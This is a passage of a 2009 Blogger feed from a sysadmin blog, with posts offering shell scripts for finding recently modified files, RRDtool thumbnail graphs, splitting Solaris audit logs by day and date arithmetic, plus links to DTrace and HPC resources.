host2,usere,userf,userg,userh,useri,userj,userk,userl
host3,userm,usern,usero,userp,userq,userqx,userr,users,usert
host4,userw
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-1534947556221012366?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/1534947556221012366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=1534947556221012366' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1534947556221012366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1534947556221012366'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/11/awk-way.html' title='The AWK Way'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-7428766262526745653</id><published>2009-11-07T10:35:00.004+08:00</published><updated>2009-11-08T20:18:15.357+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Finding Newer Files</title><content type='html'>Although &lt;code&gt;find&lt;/code&gt; provides flags to locate files newer than certain days (-mtime -2), it is not fine grain enough to allow user to specify based on user-defined timestamp. Below script will &lt;code&gt;touch&lt;/code&gt; a temporary file with specific timestamp and &lt;code&gt;find&lt;/code&gt; will make use of it as a reference by using the "-newer" flag. FYI, this has been tested on &lt;a href="http://www.sun.com/software/solaris/"&gt;Solaris&lt;/a&gt;
&lt;p&gt;
&lt;pre&gt;
#! /bin/ksh

if [ $# -ne 2 ]; then
        echo "Usage: $0 directory time"
        echo "       time - a decimal number of the form: [[CC]YY]MMDDhhmm[.SS]"
        exit 1
fi
directory=$1
timestamp=$2


if [ ! -d $directory ]; then
        echo "Error. Directory $directory does not exist"
        exit 2
fi


tmpfile="/tmp/${0##*/}-$$"
touch -t $timestamp $tmpfile &gt; /dev/null 2&gt;&amp;1
if [ $? -ne 0 ]; then
        echo "Error. Incorrect time format [[CC]YY]MMDDhhmm[.SS]"
        exit 2
fi


trap "rm -f $tmpfile; exit 0" EXIT


find $directory -newer $tmpfile -local -mount -type f
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-7428766262526745653?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/7428766262526745653/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=7428766262526745653' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7428766262526745653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7428766262526745653'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/11/finding-newer-files.html' title='Finding Newer Files'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-223796942019862289</id><published>2009-10-31T20:19:00.002+08:00</published><updated>2009-10-31T20:21:40.366+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflection'/><title type='text'>What Is Personal Leadership Brand</title><content type='html'>If you have 10 minutes to spare, you should watch this video from &lt;a href="http://www.youtube.com/user/HarvardBusiness"&gt;Harvard Business&lt;/a&gt; in &lt;a href="http://youtube.com/"&gt;YouTube&lt;/a&gt;
&lt;p&gt;
&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/vtjWXzajQXw&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/vtjWXzajQXw&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-223796942019862289?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/223796942019862289/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=223796942019862289' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/223796942019862289'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/223796942019862289'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/10/what-is-personal-leadership-brand.html' title='What Is Personal Leadership Brand'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-4011159485992417009</id><published>2009-10-30T15:21:00.002+08:00</published><updated>2009-10-30T15:27:27.478+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RRDtool'/><title type='text'>Thumbnail Your RRDtool Graphs</title><content type='html'>If you have lots of &lt;a href="http://www.rrdtool.org/"&gt;RRDtool&lt;/a&gt; graphs you need to go through everyday, you may want to consider creating thumbnail dynamically from the RRD files. As CPU and memory utilisations are plotted with same scale (100%), we can put them together for ease of viewing and analysis.
&lt;p&gt;
A simple CGI script is able to do the job. Basically it ignores x- &amp; y-grids/ticks/labels and legends
&lt;pre&gt;
echo "Content-tyep: image/png"
echo ""
/usr/bin/rrdtool graph - \
        --start -${2:-1d} \
        --imgformat PNG \
        --lower-limit 0 --upper-limit 100 --rigid \
        --width=125 --height=30 \
        --x-grid none \
        --y-grid none \
        --title "$host" \
        --color=BACK#ffffff \
        --color=CANVAS#ffeee5 \
        --color=GRID#7F7F7F \
        --color=MGRID#B8B8B8 \
        --color=ARROW#FF0000 \
        DEF:usr=$rrd_cpu:usr:AVERAGE \
        DEF:sys=$rrd_cpu:sys:AVERAGE \
        DEF:wio=$rrd_cpu:wio:AVERAGE \
        DEF:idle=$rrd_cpu:idle:AVERAGE \
        DEF:mtotal=$rrd_mem:total:AVERAGE \
        DEF:mused=$rrd_mem:used:AVERAGE \
        CDEF:gbtotal=mtotal,1024,/ \
        CDEF:gbused=mused,1024,/ \
        CDEF:gbfree=mtotal,mused,-,1024,/ \
        CDEF:percent=gbfree,gbtotal,/,100,* \
        AREA:usr#dddd00:\
        STACK:sys#dd0000:\
        STACK:wio#ff8a60:\
        STACK:idle#e2e2f2:\
        LINE1:percent#0000ff: \
        GPRINT:gbfree:LAST:"Mem\:%5.1lf/" \
        GPRINT:gbtotal:LAST:"%5.1lfGB"
&lt;/pre&gt;
&lt;p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QxCNUeDt_uQ/SuqU60Nzr1I/AAAAAAAAAho/9amr7guPOrg/s1600-h/rrdtool-tn.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_QxCNUeDt_uQ/SuqU60Nzr1I/AAAAAAAAAho/9amr7guPOrg/s320/rrdtool-tn.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5398290841526841170" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-4011159485992417009?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/4011159485992417009/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=4011159485992417009' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4011159485992417009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4011159485992417009'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/10/thumbnail-your-rrdtool-graphs.html' title='Thumbnail Your RRDtool Graphs'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_QxCNUeDt_uQ/SuqU60Nzr1I/AAAAAAAAAho/9amr7guPOrg/s72-c/rrdtool-tn.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-7861040566558361583</id><published>2009-10-23T23:01:00.004+08:00</published><updated>2009-10-23T23:08:38.126+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DTrace'/><title type='text'>New DTrace Resources</title><content type='html'>Some new resources from &lt;a href="http://www.sun.com/"&gt;Sun&lt;/a&gt; on &lt;a href="http://www.sun.com/bigadmin/content/dtrace/index.jsp"&gt;DTrace&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://blogs.sun.com/observatory/entry/dtrace_toolkit"&gt;DTrace Toolkit&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.opensolaris.org/os/community/edu/nocost_resources/DTRACEGSG.pdf"&gt;DTraceQuick StartGuide, Observing Native andWeb Applications in Production&lt;/a&gt;
&lt;li&gt;&lt;a href="https://wikis.sun.com/download/attachments/103515495/C1_DTrace_09.pdf"&gt;Observing Applications with DTrace&lt;/a&gt; (&lt;a href="http://link.brightcove.com/services/player/bcpid22207469001?bclid=24491678001&amp;bctid=26121577001"&gt;video&lt;/a&gt;)
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-7861040566558361583?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/7861040566558361583/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=7861040566558361583' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7861040566558361583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7861040566558361583'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/10/new-dtrace-resources.html' title='New DTrace Resources'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-5367715767006848388</id><published>2009-10-20T21:34:00.004+08:00</published><updated>2009-10-21T16:11:12.312+08:00</updated><title type='text'>Scripting Hustle</title><content type='html'>I was given this compliment:
&lt;br&gt;
不愧是万中无一的scripting guy
&lt;br&gt;
+ learn a lifetime skill of scripting for $10
&lt;p&gt;
Watch this movie clip (fast forward to 08:40) to find out the resemblance
&lt;br&gt;
&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/om4b5aG5lBM&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/om4b5aG5lBM&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-5367715767006848388?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/5367715767006848388/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=5367715767006848388' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5367715767006848388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5367715767006848388'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/10/complement.html' title='Scripting Hustle'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2640917182609999656</id><published>2009-10-12T21:27:00.004+08:00</published><updated>2009-10-12T21:33:19.119+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Too Big An Audit Log To Handle</title><content type='html'>Have you ever encounter &lt;a href="http://www.sun.com/solaris/"&gt;Solaris&lt;/a&gt; audit log that has not been rotated for months ? It is just far too big for some of the down stream programs to handle. Click &lt;a href="http://chihungchan.blogspot.com/2007/08/file-logging-in-solaris-nfs-way-almost.html"&gt;here&lt;/a&gt; for a sample of the output from &lt;code&gt;praudit -l&lt;/code&gt;. Here is a sample script to 'chop' them into individual files based on day. With this simple script, now you can handle audit log with ease.

&lt;pre&gt;
IFS_orig=$IFS
cd /var/audit
praudit -l 2009052803069.20091009095022.myhost | while read line
do
        IFS=","
        set -- $line
        d=$7
        IFS=$IFS_orig
        set -- $d
        ymd=$1
        echo $line &gt;&gt; $ymd.txt
done
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2640917182609999656?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2640917182609999656/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2640917182609999656' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2640917182609999656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2640917182609999656'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/10/too-big-audit-log-to-handle.html' title='Too Big An Audit Log To Handle'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2798966178829961102</id><published>2009-10-12T21:10:00.005+08:00</published><updated>2009-10-12T21:23:29.591+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>Number of Days in a Month</title><content type='html'>If you have to loop through everyday in a month to generate daily summary, you may want to know how many days in a particular month. It may not be as straightforward as you think because you need to take into account of leap year, short months, and so on.

Here is a simple trick that can help you on this. Run the &lt;code&gt;cal&lt;/code&gt; command to display the calendar and pipe it to awk to pick up the last number from the last non-empty line.
&lt;pre&gt;
$ &lt;stdin&gt;cal&lt;/stdin&gt;
    October 2009
Su Mo Tu We Th Fr Sa
             1  2  3
 4  5  6  7  8  9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

$ &lt;stdin&gt;cal | awk 'NF&amp;gt;0{n=$NF}END{print n}'&lt;/stdin&gt;
31

$ &lt;stdin&gt;cal 2 2012&lt;/stdin&gt;
    February 2012
Su Mo Tu We Th Fr Sa
          1  2  3  4
 5  6  7  8  9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29

$ &lt;stdin&gt;cal 2 2012 | awk 'NF&amp;gt;0{n=$NF}END{print n}'&lt;/stdin&gt;
29
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2798966178829961102?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2798966178829961102/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2798966178829961102' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2798966178829961102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2798966178829961102'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/10/number-of-days-in-month.html' title='Number of Days in a Month'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2161009670117105286</id><published>2009-09-26T16:35:00.003+08:00</published><updated>2009-09-27T23:52:37.537+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><category scheme='http://www.blogger.com/atom/ns#' term='Tcl'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>Date Format, N Days Ago</title><content type='html'>In UNIX shell script, it is very difficult to manipulate date/time using standard UNIX commands. Modern programming languages such as &lt;a href"=http://www.perl.org/"&gt;Perl&lt;/a&gt;, &lt;a href="http://www.python.org/"&gt;Python&lt;/a&gt;, &lt;a href="http://www.tcl.tk/"&gt;Tcl&lt;/a&gt;, ..., are designed to be a general programming/scripting language that can handle this type of task with ease.
&lt;p&gt;
Below shows shell functions that wrap around these general scripting languages to determine the date format that is N days ago.
&lt;pre&gt;
ago_perl()
{
        # localtime return:
        #       Seconds past the minute
        #       Minutes past the hour
        #       Hours past midnight
        #       Day of the month
        #       Months past the start of the year
        #       Number of years since 1900
        #       Number of days since the start of the week (Sunday)
        #       Number of days since the start of the year
        #       Whether or not daylight savings is active
        days=${1:-1}
        perl -e "@t=localtime(time-86400*$days);\
                printf('%4d-%02d-%02d', @t[5]+1900, @t[4]+1, @t[3])"

}
ago_tcl()
{
        days=${1:-1}
        echo "puts [clock format [expr [clock seconds] - $days*86400] \
                -format {%Y-%m-%d}]" | tclsh
}
ago_python()
{
        days=${1:-1}
        python -c "import time, datetime
t=datetime.datetime.fromtimestamp(time.time()-86400*$days)
print '%4d-%02d-%02d' % (t.year,t.month,t.day)"
}
&lt;/pre&gt;
&lt;p&gt;
Here is how you can use any of these functions
&lt;pre&gt;
$ &lt;stdin&gt;ago=`ago_perl 45`&lt;/stdin&gt;

$ &lt;stdin&gt;echo "45 days ago is $ago"&lt;/stdin&gt;
45 days ago is 2009-08-12
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2161009670117105286?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2161009670117105286/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2161009670117105286' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2161009670117105286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2161009670117105286'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/09/date-format-n-days-ago.html' title='Date Format, N Days Ago'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-4441989738379527888</id><published>2009-09-13T21:59:00.002+08:00</published><updated>2009-09-13T22:36:40.439+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RRDtool'/><title type='text'>Monitoring of LTO Tape Drives via FC Switch</title><content type='html'>I was trying to monitor the throughput of individual LTO tape drive but not getting any useful information from the tape library system. The only way to overcome this is to monitor it via the FC switch. In my case, it is a Brocade switch. &lt;a href="http://www.snmplink.org/OnLineMIB/Brocade/"&gt;Online SNMP MIBs for Brocade&lt;/a&gt; provides a very detailed description of the OIDs (swFCPortRxWords:1.3.6.1.4.1.1588.2.1.1.1.6.2.1.12 and swFCPortTxWords: 1.3.6.1.4.1.1588.2.1.1.1.6.2.1.11).
&lt;p&gt;
Due to the fact that the counter reset so frequent, I need to poll the FC switch every minute. Data is stored in &lt;a href="http://oss.oetiker.ch/rrdtool/"&gt;RRDtool&lt;/a&gt; format.
&lt;p&gt;
Below shows two ways to visualise the LTO throughput. Line grpah shows individual drive throughput. Area/Stack graph shows the overall throughput of the backup:
&lt;a href="http://lh6.ggpht.com/_QxCNUeDt_uQ/Sqz6ES0UDzI/AAAAAAAAAgw/ZIxtSuzJDcg/br-line.jpg"&gt;&lt;img src="http://lh6.ggpht.com/_QxCNUeDt_uQ/Sqz6ES0UDzI/AAAAAAAAAgw/ZIxtSuzJDcg/s320/br-line.jpg"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="http://lh3.ggpht.com/_QxCNUeDt_uQ/Sqz6jBWW8UI/AAAAAAAAAhM/kXd-_9-ydbU/br-area.jpg"&gt;&lt;img src="http://lh3.ggpht.com/_QxCNUeDt_uQ/Sqz6jBWW8UI/AAAAAAAAAhM/kXd-_9-ydbU/s320/br-area.jpg"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-4441989738379527888?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/4441989738379527888/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=4441989738379527888' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4441989738379527888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4441989738379527888'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/09/monitoring-of-lto-tape-drives-via-fc.html' title='Monitoring of LTO Tape Drives via FC Switch'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_QxCNUeDt_uQ/Sqz6ES0UDzI/AAAAAAAAAgw/ZIxtSuzJDcg/s72-c/br-line.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-4390616618855786782</id><published>2009-09-05T21:34:00.001+08:00</published><updated>2009-09-05T21:44:35.999+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tcl'/><title type='text'>John Ousterhout is in Stanford</title><content type='html'>The creator of &lt;a href="http://www.tcl.tk/"&gt;Tcl/Tk&lt;/a&gt; is now in &lt;a href="http://www.stanford.edu/"&gt;Stanford University&lt;/a&gt;. Some links for those who want to find out more:
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.stanford.edu/~ouster/"&gt;His Home Page in Stanford&lt;/a&gt;
&lt;li&gt;&lt;a href="http://home.pacbell.net/ouster/"&gt;His Personal Home Page&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.electriccloud.com/company/management.php"&gt;Chairman of the Board, Electric Cloud&lt;/a&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-4390616618855786782?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/4390616618855786782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=4390616618855786782' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4390616618855786782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4390616618855786782'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/09/john-ousterhout-is-in-stanford.html' title='John Ousterhout is in Stanford'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-3261075582131373535</id><published>2009-09-02T23:14:00.000+08:00</published><updated>2009-09-02T23:21:37.879+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HPC'/><title type='text'>7 Mouldes of HPC Videos</title><content type='html'>&lt;a href="http://www.sun.com/solutions/hpc/development.jsp"&gt;Sun High Performance Computing&lt;/a&gt; released a complete 7 modules of video (with presentation material) on parallel programming and useful technologies to assist developers. Here is the direct link
&lt;ol&gt;
&lt;li&gt;&lt;a href="http://www.sun.com/ws/vid.jsp?bctid=25947206001&amp;frame=true&amp;autostart=true#vid"&gt;Module 1: Performance Tuning&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.sun.com/ws/vid.jsp?bctid=25947228001&amp;frame=true&amp;autostart=true#vid"&gt;Module 2: Multicore Processor Architectures&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.sun.com/ws/vid.jsp?bctid=25954475001&amp;frame=true&amp;autostart=true#vid"&gt;Module 3: Parallel Architectures&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.sun.com/ws/vid.jsp?bctid=25969975001&amp;frame=true&amp;autostart=true#vid"&gt;Module 4: Parallel Programming Basics&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.sun.com/ws/vid.jsp?bctid=25946480001&amp;frame=true&amp;autostart=true#vid"&gt;Module 5: Parallel Programming Models - Distributed Memory &amp;amp; MPI&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.sun.com/ws/vid.jsp?bctid=25947242001&amp;frame=true&amp;autostart=true#vid"&gt;Module 6: Parallel Programming Models – Shared Memory, Auto Parallel and Open MP&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.sun.com/jsp_utils/vid.jsp?bctid=25975772001&amp;frame=true&amp;autostart=true#vid"&gt;Module 7: Hybrid Programming Module and What's Next&lt;/a&gt;
&lt;/ol&gt;
&lt;p&gt;
Hope you like them all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-3261075582131373535?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/3261075582131373535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=3261075582131373535' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3261075582131373535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3261075582131373535'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/09/7-mouldes-of-hpc-videos.html' title='7 Mouldes of HPC Videos'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-3063716344214323026</id><published>2009-08-29T21:35:00.001+08:00</published><updated>2009-08-29T21:40:06.698+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HPC'/><category scheme='http://www.blogger.com/atom/ns#' term='Sun'/><title type='text'>Scaling Hadoop for Multicore and Highly Threaded Systems</title><content type='html'>Here is the latest systems webinar series on &lt;a href="https://www.sun.com/offers/details/Hadoop_for_MapReduce.xml"&gt;Scaling Hadoop for Multicore and Highly Threaded Systems&lt;/a&gt; from &lt;a href="http://sun.com/"&gt;Sun 